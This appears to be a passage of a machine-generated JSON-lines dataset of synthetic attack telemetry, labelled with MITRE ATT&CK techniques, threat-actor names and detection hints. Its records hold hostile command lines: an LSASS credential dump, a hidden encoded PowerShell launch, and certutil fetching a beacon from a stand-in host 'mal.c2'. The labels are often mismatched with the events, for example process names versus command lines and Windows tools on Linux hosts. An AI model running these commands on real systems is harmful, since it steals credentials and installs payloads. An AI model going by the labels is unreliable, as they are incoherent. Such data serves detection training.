aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-04T22:23:39.000Z","user":{"name":"azuread\\zdn6pcx6bt0z","sid":"S-1-5-21-606725182-525000862-1166"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Reconnaissance","Credential Access","Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20260903T192623000Z_0002191","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.72.49.217","name":"AZURE-VM-7ACYEB4M8Q","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2191FIN7T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.151.44.147","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3027 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-05-01T20:35:16.000Z","user":{"name":"svc_hmdun4oykd4g","sid":"S-1-5-21-423712751-173389712-1823"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Initial Access"],"technique_id":"T1531"},"event_id":"evt_apt41_20260910T201402000Z_0002193","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.236.217.172","name":"WIN-FIN-SRV-YALE6NES4G","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2193APT41T1531"},"network":{"domain":"github.com","dst_ip":"1.158.103.75","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-07-22T05:42:48.000Z","user":{"name":"arn:aws:iam::jrl0fbgs0up1","sid":"S-1-5-21-886223550-316745286-6017"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Impact","Privilege Escalation"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20251224T181625000Z_0002195","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.171.41.118","name":"EC2-INST-SJC7FBEIWH","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2195Lapsus$T1546.003"},"network":{"domain":"github.com","dst_ip":"1.3.219.77","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-04-10T02:18:06.000Z","user":{"name":"svc_h1eq715x32vv","sid":"S-1-5-21-737160258-499551561-1743"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20250713T200137000Z_0002197","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.21.234.15","name":"WIN-FIN-SRV-PPQ196BK1G","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2197APT41T1566.001"},"network":{"domain":"github.com","dst_ip":"1.88.96.61","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-06-12T15:32:43.000Z","user":{"name":"i-ud14a6loxair","sid":"S-1-5-21-675547708-262276231-5019"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Persistence","Reconnaissance","Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_fin7_20250714T110955000Z_0002199","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.155.185.18","name":"IAM-ROLE-OVYJKD8HMH","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2199FIN7T1098.004"},"network":{"domain":"github.com","dst_ip":"1.178.109.218","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-09T22:02:44.000Z","user":{"name":"arn:aws:iam::i4dz8z06nn91","sid":"S-1-5-21-844056415-115499243-1926"}}